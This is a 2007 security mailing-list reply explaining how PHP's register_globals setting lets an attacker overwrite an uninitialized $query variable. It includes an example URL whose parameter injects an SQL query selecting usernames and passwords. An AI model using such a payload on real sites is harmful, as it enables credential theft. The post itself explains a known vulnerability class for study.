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Re: Overwriting an uninitialized local variable in PHP
From: Robert Larsen <robert () the-playground dk>
Date: Thu, 22 Feb 2007 08:20:02 +0100

Kellox wrote:

A PHP script looks like this:

$sort_mode = $_GET['sort'];
if($sort_mode = 'ascendend') $query = "....";
else if($sort_mode = 'descendend') $query = "....";
...
mysql_query($query) or die();


My question is if there is a way to "initialize" the variable $query
myself as an attacker from the outside, so that I can write my on SQL
query.

Yes. If PHP has been configured with "register_globals = On" or it is an
old version where this is the default you can do something like this:
http://vulnerablesite.com/vulnerable_script.php?sort=undefined&query=select
username, password from users

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